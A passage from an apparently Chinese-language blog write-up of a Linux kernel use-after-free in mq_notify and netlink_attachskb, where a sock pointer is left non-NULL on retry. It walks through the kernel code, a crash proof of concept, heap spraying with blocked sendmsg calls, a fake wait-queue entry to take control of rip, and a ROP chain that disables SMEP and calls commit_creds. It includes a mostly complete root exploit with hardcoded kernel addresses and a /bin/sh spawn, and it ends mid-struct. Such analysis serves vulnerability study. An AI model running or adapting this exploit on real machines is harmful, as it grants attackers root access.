    .recvmsg =  netlink_recvmsg,
  // ...
}

从sock的角度来看,在netlink的例子中,又有了专门的实现

struct netlink_sock {
    /* struct sock has to be the first member of netlink_sock */
    struct sock     sk; <<<<+++++++++++++++++++
    u32         pid;
    u32         dst_pid;
    u32         dst_group;
  // ...
};

netlink_sock 是由一个sock对象增加了许多附加属性.

这里有个问题没明白 free(&netlink_sock.sk) 等价于 free(&netlink_sock)

引用计数

当一个对象被其它对象引用时,引用计数器+1,当删除引用后-1,当引用计数器为0时,就会释放该对象。
正常情况下,对象的引用与释放是平衡的,但是当失去平衡的时候就会出现 memory corruption(内存破坏),
如下面的例子:

  • 引用计数减少两次:uaf
  • 引用计数增加两次:memory leak or int-overflow leading to uaf

回到漏洞部分

漏洞产生的原因

通过path可以发现,漏洞产生的原因是因为没有把sock对象的指针置NULL

diff --git a/ipc/mqueue.c b/ipc/mqueue.c
index c9ff943..eb1391b 100644
--- a/ipc/mqueue.c
+++ b/ipc/mqueue.c
@@ -1270,8 +1270,10 @@ retry:

      timeo = MAX_SCHEDULE_TIMEOUT;
      ret = netlink_attachskb(sock, nc, &timeo, NULL);
-     if (ret == 1)
+     if (ret == 1) {
+       sock = NULL;
        goto retry;
+     }
      if (ret) {
        sock = NULL;
        nc = NULL;

这段代码出现在mq_notify函数中,return to the code->

SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes,
        const struct sigevent __user *, u_notification)
{
    int ret;
    struct fd f;
    struct sock *sock;
    struct inode *inode;
    struct sigevent notification;
    struct mqueue_inode_info *info;
    struct sk_buff *nc;     / *网络数据包* / 
        / *判断u_notification是否为空,不为空,则拷贝到内核空间* /
    if (u_notification) {
        if (copy_from_user(&notification, u_notification,
                    sizeof(struct sigevent)))
            return -EFAULT;
    }
        / *记录系统调用* /
    audit_mq_notify(mqdes, u_notification ? &notification : NULL);
        / *初始化nc,sock
    nc = NULL;
    sock = NULL;
    if (u_notification != NULL) {
                / *判断是哪一种通知方法* /
        if (unlikely(notification.sigev_notify != SIGEV_NONE &&
                 notification.sigev_notify != SIGEV_SIGNAL &&
                 notification.sigev_notify != SIGEV_THREAD))
            return -EINVAL;
                /*通过发送指定的信号进行通知,并判断信号编号是否有效* /
        if (notification.sigev_notify == SIGEV_SIGNAL &&
            !valid_signal(notification.sigev_signo)) {
            return -EINVAL;
        }
                /*通过创建线程进行通知*/
        if (notification.sigev_notify == SIGEV_THREAD) {
            long timeo;

            /* create the notify skb */
                        /* 申请内存,存放网络数据包(用于通知)* /
            nc = alloc_skb(NOTIFY_COOKIE_LEN, GFP_KERNEL);
            if (!nc) {
                ret = -ENOMEM;
                goto out;
            }
            if (copy_from_user(nc->data,
                    notification.sigev_value.sival_ptr,
                    NOTIFY_COOKIE_LEN)) {
                ret = -EFAULT;
                goto out;
            }

            /* TODO: add a header? */
                        /* skb_put()功能并不是将引用计数器减1,而是“push data info sk buffer”.
            skb_put(nc, NOTIFY_COOKIE_LEN);
            /* and attach it to the socket */
retry:
                        /*根据fd获取对应的file对象*/
            f = fdget(notification.sigev_signo);
            if (!f.file) {
                ret = -EBADF;
                goto out;
            }
                        /*在file object中获取对应的sock对象指针*/
            sock = netlink_getsockbyfilp(f.file);/*调用sock_hold(),sock对象的引用计数器+1*/
            fdput(f);/*file 的引用计数器-1*/
            if (IS_ERR(sock)) {
                ret = PTR_ERR(sock);
                sock = NULL;
                goto out;
            }

            timeo = MAX_SCHEDULE_TIMEOUT;
                        /*出现分支,1,0,other 三条路径*/
                        /*正常功能就是将skb加入到sk receiving buf中*/
            ret = netlink_attachskb(sock, nc, &timeo, NULL);
            if (ret == 1)
                goto retry; /*进入retry 逻辑*/
            if (ret) {
                sock = NULL;
                nc = NULL;
                goto out;
            }
        }
    }
/ *省略不必要的部分* /
out:
    if (sock)
        netlink_detachskb(sock, nc);
    else if (nc)
        dev_kfree_skb(nc);

    return ret;
}
-------------------------------------------CUT LINE---------------------------------------------------
int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
              long *timeo, struct sock *ssk)
{
    struct netlink_sock *nlk;

    nlk = nlk_sk(sk);
        /*判断sk的实际大小与理论大小 or netlink_sock是否处于拥堵状态*/
    if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf ||
         test_bit(NETLINK_CONGESTED, &nlk->state)) &&
        !netlink_skb_is_mmaped(skb)) {
                /*声明一个等待队列*/
        DECLARE_WAITQUEUE(wait, current);
        if (!*timeo) {
            if (!ssk || netlink_is_kernel(ssk))
                netlink_overrun(sk);
            sock_put(sk);
            kfree_skb(skb);
            return -EAGAIN;
        }
                /*设置当前task状态为TASK_INTERRUPTIBLE*/
        __set_current_state(TASK_INTERRUPTIBLE);
                /*添加到wait 队列*/
        add_wait_queue(&nlk->wait, &wait);

        if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf ||
             test_bit(NETLINK_CONGESTED, &nlk->state)) &&
            !sock_flag(sk, SOCK_DEAD))
            *timeo = schedule_timeout(*timeo);
                /*设置当前task状态为TASK_RUNNING*/
        __set_current_state(TASK_RUNNING);
                /*移除等待队列*/
        remove_wait_queue(&nlk->wait, &wait);
        sock_put(sk);/*sock对象的引用计数器-1,此时加减平衡*/

        if (signal_pending(current)) {
            kfree_skb(skb);
            return sock_intr_errno(*timeo);
        }
        return 1;
    }
    netlink_skb_set_owner_r(skb, sk);
    return 0;
}
---------------------------------CUT LINE--------------------------------------------------------------
static void netlink_skb_set_owner_r(struct sk_buff *skb, struct sock *sk)
{
    WARN_ON(skb->sk != NULL);
    skb->sk = sk;
    skb->destructor = netlink_skb_destructor;
    atomic_add(skb->truesize, &sk->sk_rmem_alloc);
    sk_mem_charge(sk, skb->truesize);
}

详细的代码分析以注释在上面。
关于mq_notify():

  • 参数:
  1. mqdes:消息队列描述符
  2. notification:(1)not null:表示消息到达,且先前队列为空(2)null:表示撤销已注册的通知
  • 通知方式:
  1. 产生一个信号
  2. 创建一个线程执行一个函数

通过分析上面的代码可知,mq_notify()有如下几条路径:

  • u_notification 为空时:调用remove_notification()撤销已注册通知
  • u_notification 不为空:判断通知类型:(1)SIGV_THREAD:申请内存空间并将用户空间通知拷贝到内核(nc)->将nc压入sock队列中-->获取对应的fd->从fd对应的filp中获取对应的sock对象->将数据包与sock相关联->根据返回值选择continue/goto retry/goto out->goto retry:如果close这个file,那么将会直接goto out,此时sock不为空,会执行netlink_datachskb(),导致uaf。
  • 还有中间过程出错直接goto out的路径就不写了

如何触发漏洞

根据patch可知,ret==1 时触发漏洞,ret是netlink_attachskb的返回值。
分析一下mq_notify系统调用执行到netlink_attachskb的条件:

  • u_notification != NULL
  • notification.sigev_notify = SIGEV_THREAD
  • notification.sigev_value.sival_ptr 必须有效
  • notification.sigev_signo 提供一个有效的文件描述符

这样就到达了 netlink_attachskb函数
再来详细分析一下这个函数(已经在上面代码中给出),看一下漏洞触发的路径,以及经历了哪些判断:
1, 根据代码可知,下面这个条件必须为真,首先对sk->sk_rmem_alloc跟sk->sk_rcvbuf进行了判断,如果判断不通过,则直接执行netlink_set_owner_r函数

if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf ||
         test_bit(NETLINK_CONGESTED, &nlk->state)) &&
        !netlink_skb_is_mmaped(skb))

sk_rmem_alloc可以视为sk缓冲区的当前大小,sk_rcvbuf是sk的理论大小,因为sk_rmem_alloc有等于0的情况,因此sk_rcvbuf可能需要<0才可以,在sock_setsockopt函数中可以设置sk_rcvbuf的值,但是,它的值始终会是一个>0的值,因此通过更改sk_rcvbuf不是最好的解决方案,因此看一下sk_rmem_alloc.

        val = min_t(u32, val, sysctl_rmem_max);
set_rcvbuf:
        sk->sk_userlocks |= SOCK_RCVBUF_LOCK;
        sk->sk_rcvbuf = max_t(u32, val * 2, SOCK_MIN_RCVBUF);

分析前面代码可以注意到,通过skb_set_owner_r可以更改sk_rmem_alloc的值,调用链如下:
netlink_sendmsg->netlink_unicast->netlink_attachskb->netlink_skb_owner_r
netlink_sendmsg可以在用户空间通过调用sendmsg实现调用

因此首先分析netlink_sendmsg函数:

static int netlink_sendmsg(struct socket *sock, struct msghdr *msg, size_t len)
{
    struct sock *sk = sock->sk;
    struct netlink_sock *nlk = nlk_sk(sk);
    DECLARE_SOCKADDR(struct sockaddr_nl *, addr, msg->msg_name);
    u32 dst_portid;
    u32 dst_group;
    struct sk_buff *skb;
    int err;
    struct scm_cookie scm;
    u32 netlink_skb_flags = 0;

    if (msg->msg_flags&MSG_OOB)
        return -EOPNOTSUPP;

    err = scm_send(sock, msg, &scm, true);
    if (err < 0)
        return err;

    if (msg->msg_namelen) {
        err = -EINVAL;
        if (addr->nl_family != AF_NETLINK)
            goto out;
        dst_portid = addr->nl_pid;
        dst_group = ffs(addr->nl_groups);
        err =  -EPERM;
        if ((dst_group || dst_portid) &&
            !netlink_allowed(sock, NL_CFG_F_NONROOT_SEND))
            goto out;
        netlink_skb_flags |= NETLINK_SKB_DST;
    } else {
        dst_portid = nlk->dst_portid;
        dst_group = nlk->dst_group;
    }

    if (!nlk->portid) {
        err = netlink_autobind(sock);
        if (err)
            goto out;
    }

    /* It's a really convoluted way for userland to ask for mmaped
     * sendmsg(), but that's what we've got...
     */
    if (netlink_tx_is_mmaped(sk) &&
        msg->msg_iter.type == ITER_IOVEC &&
        msg->msg_iter.nr_segs == 1 &&
        msg->msg_iter.iov->iov_base == NULL) {
        err = netlink_mmap_sendmsg(sk, msg, dst_portid, dst_group,
                       &scm);
        goto out;
    }

    err = -EMSGSIZE;
    if (len > sk->sk_sndbuf - 32)
        goto out;
    err = -ENOBUFS;
    skb = netlink_alloc_large_skb(len, dst_group);
    if (skb == NULL)
        goto out;

    NETLINK_CB(skb).portid    = nlk->portid;
    NETLINK_CB(skb).dst_group = dst_group;
    NETLINK_CB(skb).creds    = scm.creds;
    NETLINK_CB(skb).flags    = netlink_skb_flags;

    err = -EFAULT;
    if (memcpy_from_msg(skb_put(skb, len), msg, len)) {
        kfree_skb(skb);
        goto out;
    }

    err = security_netlink_send(sk, skb);
    if (err) {
        kfree_skb(skb);
        goto out;
    }

    if (dst_group) {
        atomic_inc(&skb->users);
        netlink_broadcast(sk, skb, dst_portid, dst_group, GFP_KERNEL);
    }
    err = netlink_unicast(sk, skb, dst_portid, msg->msg_flags&MSG_DONTWAIT);

out:
    scm_destroy(&scm);
    return err;
}

如果想要执行netlink_unicast函数,则需要满足以下条件:

  • msg->msg_flags != MSG_OOB
  • scm()返回值 = 0,分析scm_send函数可知,只需要 msg->msg_controllen <= 0 即可。
  • msg_>msg_namelen 不为空 , nl_family = AF_NETLINK
  • 传入的参数 len < (sk->sk_sndbuf - 32)

这样就可以执行netlink_unicast(),这里面基本没有我们的可控参数,可以直接执行netlink_attachskb(),结合上面的代码可知,当sk_rmem_alloc < skrcvbuf 时,便会执行netlink_skb_set_owner_r函数,因此只要 sk_rmem_alloc < sk_rcvbuf,就会增加sk_rmem_alloc的大小

static void netlink_skb_set_owner_r(struct sk_buff *skb, struct sock *sk)
{
    WARN_ON(skb->sk != NULL);
    skb->sk = sk;
    skb->destructor = netlink_skb_destructor;
    atomic_add(skb->truesize, &sk->sk_rmem_alloc);
    sk_mem_charge(sk, skb->truesize);
}

这样每次都可以增加sk_rmem_alloc的值。

进入这个判断以后,当前的线程被加入wait队列中,timeo肯定不为 NULL,所以当前线程状态被设置为task_interruptible,然后cpu调度进入block状态,等待被唤醒然后顺序执行,signal_pending 检查是否有序号需要被处理,返回值=0,表示没有信号。然后返回1,

触发漏洞

前面已经知道了如何让 ret = 1,这里会继续执行retry,通过fd获取filp......,但是如果filp = NULL,就会进入out label

out:
    if (sock)
        netlink_detachskb(sock, nc);
    else if (nc)
        dev_kfree_skb(nc);

此时的sock不为空,但是netlink_detachskb对其减1,如果等于0,则free。
再次回到mq_notify主逻辑,看一下函数对sock的操作:

  • netlink_getsockbyfilp->sock_hold() : sk->refcnt += 1
  • netlink_attachskb -> sk_put() : sk->refcnt -= 1

正常逻辑下:根据fd获取到sock结构,此时sock的引用加1,然后进入attachskb函数,判断此时的sk是不是“满了”,如果“满了”,则sock的引用减1,然后继续尝试获取sock,当sock还有剩余空间的时候,把skb跟sock绑定。这样一来,sock的引用,一加一减,保持平衡。但是如果有两个线程,thread1在还没进入retry的时候,thread2把file关闭了,也就是说此时filp为NULL,thread1将进入out label,但是sock不为NULL,因此,sock的refcnt将会减1,但是在退出程序时,内核会将分配的对象释放掉,最终会调用sock->ops->release(),但是sock已经在前面被我们释放掉了,如果这块内存又被我们申请回来,并写入其他数据控制程序流,导致uaf,就可以执行任意代码。

编写poc

#define _GNU_SOURCE
#include <asm/types.h>
#include <mqueue.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <errno.h>
#include <stdbool.h>

#define MAX_MSGSIZE 1024
#define SOL_NETLINK (270)
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)

struct state
{
    int ok;
    int fd;
    int close_fd;
}state;


int add_rmem_alloc(void){
    int fd1 = -1;
    int fd2 = -1;
    fd1 = socket(AF_NETLINK,SOCK_RAW,2);
    fd2 = socket(AF_NETLINK,SOCK_DGRAM,2);
    struct sockaddr_nl nladdr;
    nladdr.nl_family = AF_NETLINK;
    nladdr.nl_groups = 0;
    nladdr.nl_pad = 0;
    nladdr.nl_pid = 10;
    bind(fd1,(struct sockaddr*)&nladdr,sizeof(struct sockaddr_nl));

    struct msghdr msg;
    struct sockaddr_nl r_nladdr;
    r_nladdr.nl_pad = 0;
    r_nladdr.nl_pid = 10;
    r_nladdr.nl_family = AF_NETLINK;
    r_nladdr.nl_groups = 0;
    
    memset(&msg,0,sizeof(msg));
    msg.msg_name = &r_nladdr; /*address of receiver*/
    msg.msg_namelen = sizeof(nladdr);
    /* message head */
    char buffer[] = "An example message";
    struct nlmsghdr *nlhdr;
    nlhdr = (struct nlmsghdr*)malloc(NLMSG_SPACE(MAX_MSGSIZE));
    strcpy(NLMSG_DATA(nlhdr),buffer);
    nlhdr->nlmsg_len = NLMSG_LENGTH(strlen(buffer));/*nlmsghdr len + data len*/
    nlhdr->nlmsg_pid = getpid();  /* self pid */
    nlhdr->nlmsg_flags = 0;

    struct iovec iov;
    iov.iov_base = nlhdr;
    iov.iov_len = nlhdr->nlmsg_len;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    
    while (sendmsg(fd2, &msg, MSG_DONTWAIT)>0) ;
    if (errno != EAGAIN)
    {
        perror("sendmsg");
        exit(-5);
    }
    printf("[*] sk_rmem_alloc > sk_rcvbuf ==> ok\n");
    return fd1;
    
    return 0;    
}
static void *thread2(struct state *s){
    int fd = s->fd;
    s->ok = 1;
    sleep(3);
    close(s->close_fd);
    int optval = 1;
    if(setsockopt(fd,SOL_NETLINK,NETLINK_NO_ENOBUFS,&optval,4)){
        perror("setsockopt ");
    }
    else{
        puts("[*] wake up thread 1");
    }
}
void tiger(int fd){
    pthread_t pid;
    struct state s;
    s.ok = 0;
    s.fd = fd;
    s.close_fd = dup(fd);
    if(errno = pthread_create(&pid,NULL,thread2,&s)){
        perror("pthread_create ");
        exit(-1);
    }  
    while(!(s.ok));
    puts("[*] mq_notify start");
    struct sigevent sigv;
    sigv.sigev_signo = s.close_fd;
    sigv.sigev_notify = SIGEV_THREAD;
    sigv.sigev_value.sival_ptr = "test";
    _mq_notify((mqd_t)0x666,&sigv);
    puts("ok");
}
int main(){
    int fd = -1;
    fd = add_rmem_alloc();
    
    tiger(fd);
    puts("ok");
    return 0;
}

根据前面分析的流程,可以得到这个poc:

  • add_rmem_alloc 函数:通过sendmsg 增加 sk_rmem_alloc,使其 > sk_rcvbuf
  • tiger 函数: 通过再次创建一个线程(thread2) ,thread2执行的时候,执行mq_notify,在thread2开头先使用sleep,保证 thread1进入wait状态,然后close thread1使用的fd,然后唤醒thread1.
  • 函数退出,执行do_exit,crash

这是函数在崩溃的时候的调用栈

调用链如下:do_exit -> ___fput -> __fput -> sock_close -> sock_release -> netlink_release

netlink_release:

static int netlink_release(struct socket *sock)
{
    struct sock *sk = sock->sk;
    struct netlink_sock *nlk;

    if (!sk)
        return 0;

    netlink_remove(sk);
    sock_orphan(sk);
    nlk = nlk_sk(sk);

    ................. 省略 .............................
}

可以看到,已经被释放的sock又被重新使用了。

利用分析

通过前面分析可以知道,释放掉sock对象以后,sock对象指针成为野指针,如果我们再次分配kmalloc-1024就有可能分配到该内存,控制sock对象内的关键指针,就会更改程序流,再次分配kmalloc-1024的方式为堆喷,这里采用sendmsg,执行sendmsg系统调用时,调用路径如下,如箭头所示

最终会调用sendmsg,这里将会回调sock->proto_ops->sendmsg,当family是AF_UNIX时,将会调用unix_dgram_sendmsg

利用sendmsg控制数据

整个调用路径如下:

从sysc_sendmsg->__sys_sendmsg->___sys_sendmsg 基本不需要任何条件,因此直接分析___sys_sendmsg函数
,代码太长不在这贴了。

  • 首先建立一个ctl[36]的数组,大小为36,然后把该数组地址给一个指针ctl_buf
  • flag != MSG_CMSG_COMPAT ==> 把参数msg,传递给内核空间的msg_sys (均为 struct msghdr)
  • 判断 msg_controllen 不大于 INT_AMX ,并将 该值赋给 ctl_len
  • flag != MSG_CMSG_COMAPT ,因此调用 sock_malloc
  • 进入sock_malloc 首先判断malloc 的size是否大于sysctl_optmem_max(:int sysctl_optmem_max __read_mostly = sizeof(unsigned long)(2*UIO_MAXIOV+512)(: uio_maxiov = 1024)(: sk_omem_alloc 初始化为0) ,因为我们要malloc的对象大小为1024,因此满足,所以通过kmalloc申请一个 1024 的堆空间,并返回该指针
  • 回到___sys_sendmsg : 把申请的堆空间指针赋值给 ctl_buf,并将 msg_control 拷贝进去,并将msg_sys->msg_control 修改为 ctl_buf
  • used_address 为null,因此执行 sock_sendmsg,这里会回调sock->unix_dgram_ops->unix_dgram_sendmsg
  • 进入unix_dgram_sendmsg
  • 直接调用scm_send()->__scm_send()
  • 在介绍下面之前,有必要理解一下 "control infomation",控制消息通过msghdr的msg_control传递,msg_control指向控制第一条控制信息所在位置,一次可以传递多个控制信息,控制信息的总长度为msg_controllen,每一个控制信息都有一个cmshdr的头部,因为包含多个控制信息,所以,下一个控制信息的地址,就是通过当前控制信息地址 + cmsg_len确定的,通过判断当前控制信息地址 + cmsg_len > msg_controllen可以确定是否还有控制消息
 struct cmsghdr {
    __kernel_size_t    cmsg_len;    /* data byte count, including hdr */
        int        cmsg_level;    /* originating protocol */
        int        cmsg_type;    /* protocol-specific type */
};
  • ___scm_send : cmsg_level != SQL_COCKET , cmsg_type,=1 或 2 都可以,只要能return 0 ;就可以
  • 进入sock_alloc_send_pskb函数:判断 sk_wmem_alloc< sk_sndbuf,sk_wmem_alloc 表示发送缓冲区长度,sk_sndbuf表示发送缓冲区的最大长度,条件如果为真,则不会阻塞。
  • 然后 申请skb空间, 通过 skb_set_owner_w 函数, 增加 sk_wmem_alloc长度。,再次申请便会阻塞

了解 ___sys_sendmsg 以后,考虑如何利用他堆喷,在执行完这个函数以后,会释放前面申请的size为1024的对象,这样无论我们怎么喷射,都只会申请同一个对象。前面分是的时候,可以知道,在某些条件下可以让这个函数阻塞,通过不断调用sendmsg,通过增大sk_wmem_alloc 使其阻塞。

struct msghdr msg;
    memset(&msg,0,sizeof(msg));
    struct iovec iov;
    char iovbuf[10];
    iov.iov_base = iovbuf;
    iov.iov_len = 10;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    struct timeval tv;
    memset(&tv,0,sizeof(tv));
    tv.tv_sec = 0;
    tv.tv_usec = 0;
    if(setsockopt(rfd,SOL_SOCKET,SO_SNDTIMEO,&tv,sizeof(tv))){
        perror("heap spary setsockopt");
        exit(-1);
    }
    while(sendmsg(sfd,&msg,MSG_DONTWAIT)>0);

这样再通过sendmsg,给定control信息就可以堆喷占位了,不过这里因为sendmsg被阻塞了,所以通过循环去执行sendmsg是不行的,还是需要依赖于多线程。

(其实kmalloc-1024在内核中需求量不大,而且在qemu中,只需要通过一次sendmsg,就可以申请到这个对象)
    for(i=0;i<10;i++){
        if(errno = pthread_create(&pid,NULL,thread3,&t3)){
            perror("pthread_create ");
            exit(-1);
        }      
    } 

接下来就该考虑利用了,肯定是去覆盖netlink_sock对象里面的关键指针,且触发路径比较少的。
一开始考虑通过close(fd),回调sk->sk_destruct,调用链如下:

    netlink_release->call_rcu->deferred_put_nlk_sk -> sock_put -> sk_free -> __sk_free -> sk_destruct -> __sk_destruct -> netlink_sock_destruct

,但是,在执行到netlink_release的时候,会调用netlink_remove->rhashtable_remove_fast,在这里会发生崩溃,想要到达call_rcu,路径太复杂。

结合adlab给出的文章,可以利用netlink_sock的(struct wait_queue_head_t) wait 结构体,这个结构体直接嵌入到netlink_sock结构体中。

因此可以在用户空间伪造wait_queue_t,让netlink_sock->wait.task_list.next指向它,因为环境关闭了smap,因此可以不用考虑这个问题

这样我们就可以控制rip

为了执行用户空间指令,我们首先需要构造ropchain关掉smep。
通用方法就是通过mov cr4, rdi ; pop rbp ; ret诸如此类的gadgets
但是直接控制rip为这条gadgets地址肯定达不到目的,因为内核栈内容不受控,因此首先需要栈迁移,例如xchg esp,eax ; ret,这里使用eax是非常合适的,看下图

  • rdi是wait结构体的的地址,rdi+8 -> next 的地址 , 把这个指针的值即我们在用户空间伪造的 wait_queue_t->next 的地址 , 这样相当于rdx保存的是用户空间 fake wait_queue_t.next的地址
  • 然后,根据next的偏移,找到wait_queue_t的地址,并给 rax
  • 然后 call [rax+0x10]

可以看出来,eax必定是一个有效的用户空间地址

构造执行rop的时候遇到一个问题,如图

在执行push rbp的时候crash了,没找到原因,就不写函数了,直接用rop执行commit_creds(prepare_kernelk_cred(0))
通常用如下gadgets (stack 状态)

addr->pop rdi ; ret
0
addr->prepare_kernel_cred
addr->mov rdi, rax ; ret
addr->commit_creds

或者利用上面的变形
但是在我执行的时候又遇到一个问题,因为rax不为空

Dump of assembler code for function prepare_kernel_cred:
(省略)
   0xffffffff810a1a80 <+32>:    test   rax,rax
=> 0xffffffff810a1a83 <+35>:    je     0xffffffff810a1b78 <prepare_kernel_cred+280>
   0xffffffff810a1a89 <+41>:    test   r12,r12
   0xffffffff810a1a8c <+44>:    mov    rbx,rax
   0xffffffff810a1a8f <+47>:    je     0xffffffff810a1b40 <prepare_kernel_cred+224>
   0xffffffff810a1a95 <+53>:    mov    rdi,r12
   0xffffffff810a1a98 <+56>:    call   0xffffffff810a1a00 <get_task_cred>
   0xffffffff810a1a9d <+61>:    mov    r12,rax
   0xffffffff810a1aa0 <+64>:    mov    rdi,rbx
   0xffffffff810a1aa3 <+67>:    mov    rsi,r12
   0xffffffff810a1aa6 <+70>:    mov    ecx,0x14
   0xffffffff810a1aab <+75>:    rep movs QWORD PTR es:[rdi],QWORD PTR ds:[rsi]
   0xffffffff810a1aae <+78>:    mov    DWORD PTR [rbx],0x1
   0xffffffff810a1ab4 <+84>:    mov    rax,QWORD PTR [rbx+0x78]
   0xffffffff810a1ab8 <+88>:    inc    DWORD PTR ds:[rax]
   0xffffffff810a1abb <+91>:    mov    rax,QWORD PTR [rbx+0x80]
   0xffffffff810a1ac2 <+98>:    test   rax,rax
   0xffffffff810a1ac5 <+101>:    je     0xffffffff810a1ace <prepare_kernel_cred+110>
   0xffffffff810a1ac7 <+103>:    inc    DWORD PTR ds:[rax+0xc0]
   0xffffffff810a1ace <+110>:    mov    rax,QWORD PTR [rbx+0x88]
   0xffffffff810a1ad5 <+117>:    inc    DWORD PTR ds:[rax]
   0xffffffff810a1ad8 <+120>:    mov    edx,0xd0
   0xffffffff810a1add <+125>:    mov    QWORD PTR [rbx+0x50],0x0
   0xffffffff810a1ae5 <+133>:    mov    QWORD PTR [rbx+0x58],0x0
   0xffffffff810a1aed <+141>:    mov    QWORD PTR [rbx+0x60],0x0
   0xffffffff810a1af5 <+149>:    mov    QWORD PTR [rbx+0x68],0x0
   0xffffffff810a1afd <+157>:    mov    rsi,r12
   0xffffffff810a1b00 <+160>:    mov    BYTE PTR [rbx+0x48],0x1
   0xffffffff810a1b04 <+164>:    mov    QWORD PTR [rbx+0x70],0x0
   0xffffffff810a1b0c <+172>:    mov    rdi,rbx
   0xffffffff810a1b0f <+175>:    call   0xffffffff813478d0 <security_prepare_creds>
   0xffffffff810a1b14 <+180>:    test   eax,eax
   0xffffffff810a1b16 <+182>:    js     0xffffffff810a1b58 <prepare_kernel_cred+248>
   0xffffffff810a1b18 <+184>:    dec    DWORD PTR ds:[r12]
   0xffffffff810a1b1d <+189>:    je     0xffffffff810a1b30 <prepare_kernel_cred+208>
   0xffffffff810a1b1f <+191>:    mov    rax,rbx
   0xffffffff810a1b22 <+194>:    pop    rbx
   0xffffffff810a1b23 <+195>:    pop    r12
   0xffffffff810a1b25 <+197>:    pop    rbp
   0xffffffff810a1b26 <+198>:    ret    
   0xffffffff810a1b27 <+199>:    nop    WORD PTR [rax+rax*1+0x0]
   0xffffffff810a1b30 <+208>:    mov    rdi,r12
   0xffffffff810a1b33 <+211>:    call   0xffffffff810a1540 <__put_cred>
   0xffffffff810a1b38 <+216>:    mov    rax,rbx
   0xffffffff810a1b3b <+219>:    pop    rbx
   0xffffffff810a1b3c <+220>:    pop    r12
   0xffffffff810a1b3e <+222>:    pop    rbp
   0xffffffff810a1b3f <+223>:    ret    
(省略)
   0xffffffff810a1b78 <+280>:    xor    eax,eax
   0xffffffff810a1b7a <+282>:    jmp    0xffffffff810a1b3b <prepare_kernel_cred+219>
(省略)
End of assembler dump.

因为rax的原因,没有正确执行prepare_kernel_creds,因此还需要加一条gadgets

开始找的iret gadget并不能运行成功,不知道为啥,在im0963老哥的提示下,换了一条gadgets解决了

exploit:这份exploit在linux kernel 4.1.1上面测试成功了,内核不同,可能需要改一些偏移

#gcc exploit.c -lpthread -static -o exploit
#define _GNU_SOURCE
#include <asm/types.h>
#include <mqueue.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <errno.h>
#include <stdbool.h>
#include <sys/un.h>
#include <sys/mman.h>

#define MAX_MSGSIZE 1024
#define SOL_NETLINK (270)
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)

struct state
{
    int ok;
    int fd;
    int close_fd;
}state;

struct u_wait_queue{
    unsigned int flag;
    long* pri;
    long* func;
    long* next;
    long* prev;
};
#define KERNCALL __attribute__((regparm(3)))

void ( * commit_creds )(void *) KERNCALL ;
size_t* (* prepare_kernel_cred)(void *) KERNCALL ;

void getroot(){
    commit_creds = 0xffffffff810a1720 ;
    prepare_kernel_cred = 0xffffffff810a1a60;
    size_t cred = prepare_kernel_cred(0);
    commit_creds(cred);
}
void getshell(){
    system("/bin/sh");
}
unsigned long user_cs, user_ss, user_eflags,user_sp    ;
void save_stats() {
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
         :
         : "memory"
     );
}
int add_rmem_alloc(void){
    int fd1 = -1;
    int fd2 = -1;
    fd1 = socket(AF_NETLINK,SOCK_RAW,2);
    fd2 = socket(AF_NETLINK,SOCK_DGRAM,2);
    struct sockaddr_nl nladdr;
    nladdr.nl_family = AF_NETLINK;
    nladdr.nl_groups = 0;
    nladdr.nl_pad = 0;
    nladdr.nl_pid = 10;
    bind(fd1,(struct sockaddr*)&nladdr,sizeof(struct sockaddr_nl));

    struct msghdr msg;
    struct sockaddr_nl r_nladdr;
    r_nladdr.nl_pad = 0;
    r_nladdr.nl_pid = 10;
    r_nladdr.nl_family = AF_NETLINK;
    r_nladdr.nl_groups = 0;
    
    memset(&msg,0,sizeof(msg));
    msg.msg_name = &r_nladdr; /*address of receiver*/
    msg.msg_namelen = sizeof(nladdr);
    /* message head */
    char buffer[] = "An example message";
    struct nlmsghdr *nlhdr;
    nlhdr = (struct nlmsghdr*)malloc(NLMSG_SPACE(MAX_MSGSIZE));
    strcpy(NLMSG_DATA(nlhdr),buffer);
    nlhdr->nlmsg_len = NLMSG_LENGTH(strlen(buffer));/*nlmsghdr len + data len*/
    nlhdr->nlmsg_pid = getpid();  /* self pid */
    nlhdr->nlmsg_flags = 0;

    struct iovec iov;
    iov.iov_base = nlhdr;
    iov.iov_len = nlhdr->nlmsg_len;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    
    while (sendmsg(fd2, &msg, MSG_DONTWAIT)>0) ;
    if (errno != EAGAIN)
    {
        perror("sendmsg");
        exit(-5);
    }
    printf("[*] sk_rmem_alloc > sk_rcvbuf ==> ok\n");
    return fd1;
    
    return 0;    
}
static void *thread2(struct state *s){
    int fd = s->fd;
    s->ok = 1;
    sleep(3);
    close(s->close_fd);
    int optval = 1;
    if(setsockopt(fd,SOL_NETLINK,NETLINK_NO_ENOBUFS,&optval,4)){
        perror("setsockopt ");
    }
    else{
        puts("[*] wake up thread 1");
    }
}
void tiger(int fd){
    pthread_t pid;
    struct state s;
    s.ok = 0;
    s.fd = fd;
    s.close_fd = dup(fd);
    if(errno = pthread_create(&pid,NULL,thread2,&s)){
        perror("pthread_create ");
        exit(-1);
    }  
    while(!(s.ok));
    puts("[*] mq_notify start");
    struct sigevent sigv;
    sigv.sigev_signo = s.close_fd;
    sigv.sigev_notify = SIGEV_THREAD;
    sigv.sigev_value.sival_ptr = "test";
    _mq_notify((mqd_t)0x666,&sigv);
    puts("ok");
}
struct thread3_arg
{
